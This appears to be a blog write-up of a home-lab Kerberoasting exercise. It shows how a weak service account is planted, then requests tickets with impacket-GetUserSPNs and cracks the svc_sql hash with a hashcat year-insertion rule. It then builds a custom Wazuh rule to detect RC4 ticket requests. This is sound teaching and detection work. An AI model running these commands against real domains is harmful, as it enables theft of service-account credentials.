visitor@hunterweygandt:~$ cat kerberoasting.html|

Kerberoasting

Vulnerable Active Directory Lab · 2026

← Back to the other documents

Kerberoasting

Summary

Kerberoasting abuses a normal feature of Kerberos: any authenticated domain user can request a service ticket (TGS) for any account that has a Service Principal Name (SPN). That ticket is encrypted with the service account's password hash, so an attacker can request it, take it offline, and brute-force the password with no further access to the network and no elevated privileges. It's one of the most common ways an attacker turns a single low-privilege foothold into service-account credentials.

MITRE ATT&CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting) Target in this lab: svc_sql (SPN MSSQLSvc/sql01.ecorp.local:1433)

The misconfiguration

Two conditions make an account kerberoastable, and both are common in real environments:

  1. The account has an SPN registered (it runs a service). This is normal and required for services like SQL Server.
  2. The account has a weak, human-set password that rarely rotates. Service accounts are notorious for this because rotating them risks breaking the service, so they get set once and left for years.

In this lab, svc_sql was given an SPN and the password Summer2024, a realistic "season + year" password that us IT people have seen so many times.

# on the DC
setspn -A MSSQLSvc/sql01.ecorp.local:1433 svc_sql
Set-ADAccountPassword svc_sql -Reset -NewPassword (ConvertTo-SecureString "Summer2024" -AsPlainText -Force)
Administrator Windows PowerShell on the DC-VULN domain controller. setspn -A registers the SPN MSSQLSvc/sql01.ecorp.local:1433 to the svc_sql account, and the DC confirms 'Updated object' for CN=SQL Service,OU=ServiceAccounts. Set-ADAccountPassword then resets svc_sql to the weak password Summer2024. A final setspn -L svc_sql verifies the SPN is registered - the account is now Kerberoastable.
Planting the Kerberoasting condition on the DC: setspn -A gives svc_sql an MSSQL service principal name, and Set-ADAccountPassword sets a weak, seasonal password. The setspn -L at the end confirms the SPN stuck - an account with an SPN plus a guessable password is the entire vulnerability.

Detection note: adding an SPN to a user account generates Event 4738 (user account changed). In a real environment, an SPN suddenly appearing on a normal user is suspicious, an attacker sometimes plants one to create a roastable target. This lab detected those 4738 events when the vulnerability was planted.

Execution

The attack was run from Kali using a low-privilege domain account (jwellick), whose password was found in another part of this lab using a password spraying method. One compromised employee account is enough to roast every SPN in the domain.

# request TGS tickets for all SPN accounts, output in hashcat format
impacket-GetUserSPNs ecorp.local/jwellick:'Ecorp2025' -dc-ip 10.0.0.88 -request -outputfile kerb_hashes.txt
Kali terminal running impacket-GetUserSPNs as the authenticated user jwellick with -request against ecorp.local. The tool lists the roastable SPN account in a table - ServicePrincipalName MSSQLSvc/sql01.ecorp.local:1433, name svc_sql, LastLogon never - and requests its TGS ticket, writing a $krb5tgs$23$ hash to kerb_hashes.txt. An ls confirms the hash file was written.
The roast: authenticated as jwellick, GetUserSPNs -request finds the svc_sql account by its MSSQLSvc SPN and requests a service ticket, yielding a crackable $krb5tgs$23$ hash. The RC4 ticket (etype 23) is exactly what the DC logs as event 4769.

The returned hash begins $krb5tgs$23$, where 23 indicates RC4 encryption:

$krb5tgs$23$*svc_sql$ECORP.LOCAL$ecorp.local/svc_sql...

Cracking offline with hashcat mode 13100:

hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

Finding: Summer2024 is not in the stock rockyou list, so a plain wordlist run exhausted without cracking. The fix was a year-insertion rule, which takes a rockyou base word (Summer) and inserts a year value to build Summer2024. I ended up running a few different insertion rules, here is the one that cracked it:

hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/T0XlC-insert_00-99_1950-2050_toprules_0_F.rule

Result: Status: Cracked, recovering svc_sql's password Summer2024.

hashcat v7.1.2 running mode 13100 (Kerberos 5 TGS-REP) against kerb_hashes.txt with rockyou.txt and the T0XlC digit/year-insertion rule file. The rule set loads 5616 rules, expanding the keyspace to over 80 billion candidates, and the session status reads 'Cracked' - the svc_sql TGS hash resolves to the plaintext password Summer2024.
The crack that needed a rule: plain rockyou wouldn't contain Summer2024, but the T0XlC insertion rule appends years to base words, mutating Summer into the real password. hashcat mode 13100 recovers svc_sql:Summer2024 - a word-plus-year password that isn't in any wordlist verbatim yet still falls.

The full chain: sprayed employee credential -> TGS request -> offline crack -> svc_sql password recovered, all without elevated access.

Telemetry generated

The ticket request wrote Event 4769 (Kerberos service ticket requested) to the DC's Security log. The fields that matter:

Field Value Why it matters
win.system.eventID 4769 Service ticket requested
win.eventdata.serviceName svc_sql The roasted account (a user, not a machine)
win.eventdata.ticketEncryptionType 0x17 RC4, the crackable/forced cipher
win.eventdata.targetUserName jwellick@ECORP.LOCAL The requesting account
win.eventdata.ipAddress ::ffff:10.0.0.76 The attacker (Kali)

Audit requirement: this event only exists if "Audit Kerberos Service Ticket Operations" is enabled. The lab's audit policy enables it (Success + Failure).

Detection

Out of the box, Wazuh does not detect Kerberoasting. The stock ruleset matches 4769 with rule 60106 ("Windows Logon Success", level 3) via parent 60103, and treats every ticket request identically regardless of encryption type. The attack blends into level-3 noise and never surfaces. This gap is the reason a custom rule was needed.

The detection logic keys on the combination that distinguishes roasting from normal traffic: an RC4 ticket (0x17) requested for a service account, which is a user account, not a machine account. Machine accounts end in $; service user accounts do not. RC4 alone is not malicious (legacy systems use it) and 4769 alone is constant noise, but RC4 + non-machine-account together is the Kerberoasting fingerprint.

Custom rule (/var/ossec/etc/rules/local_rules.xml):

<group name="kerberoasting,attack,windows,">

  <!-- Kerberoasting: RC4 service ticket for a user account (SPN) -->
  <rule id="100201" level="12">
    <if_sid>60103</if_sid>
    <field name="win.system.eventID">^4769$</field>
    <field name="win.eventdata.ticketEncryptionType">^0x17$</field>
    <field name="win.eventdata.serviceName" negate="yes">\$$</field>
    <description>Possible Kerberoasting: RC4 service ticket for account $(win.eventdata.serviceName) requested by $(win.eventdata.targetUserName)</description>
    <mitre><id>T1558.003</id></mitre>
  </rule>

</group>

Rule design notes:

Result: rule 100201 fires at level 12 with the service account and requester populated.

Wazuh Events on the DC-VULN agent filtered to rule.id 100201, showing 1 hit. The single event fires the custom rule (level 12) with 'Possible Kerberoasting: RC4 service ticket for account svc_sql requested by jwellick@ECORP.LOCAL', event 4769, serviceName svc_sql, ticketEncryptionType 0x17.
The custom rule 100201 fires exactly once: a 4769 service ticket for the user account svc_sql, encrypted with RC4 (0x17), requested by jwellick. One clean hit - the roast, isolated.
Wazuh Events filtered to raw event 4769 (data.win.system.eventID:4769), showing 11 hits. Only the top row is the Kerberoasting detection (rule 100201, serviceName svc_sql, encryption 0x17). The other ten are 'Windows Logon Success' (rule 60106, level 3) for the krbtgt service or the DC-VULN$ machine account, all using encryption type 0x12 (AES) - legitimate Kerberos traffic.
The same window filtered to all event 4769s: eleven hits, but only the top one is the attack. The other ten are routine - krbtgt and the DC-VULN$ machine account, all AES (0x12). This is the noise the rule has to cut through, and exactly why matching on RC4 plus a non-machine account matters.

False positives: legitimate legacy applications and some service accounts genuinely request RC4 tickets, so this rule is not production-ready as-is. In a real environment it needs tuning: baseline which service accounts normally receive RC4, then alert on deviations, or restrict the rule to high-value SPNs.

Remediation

Notes/Troubleshooting

← Back to the other documents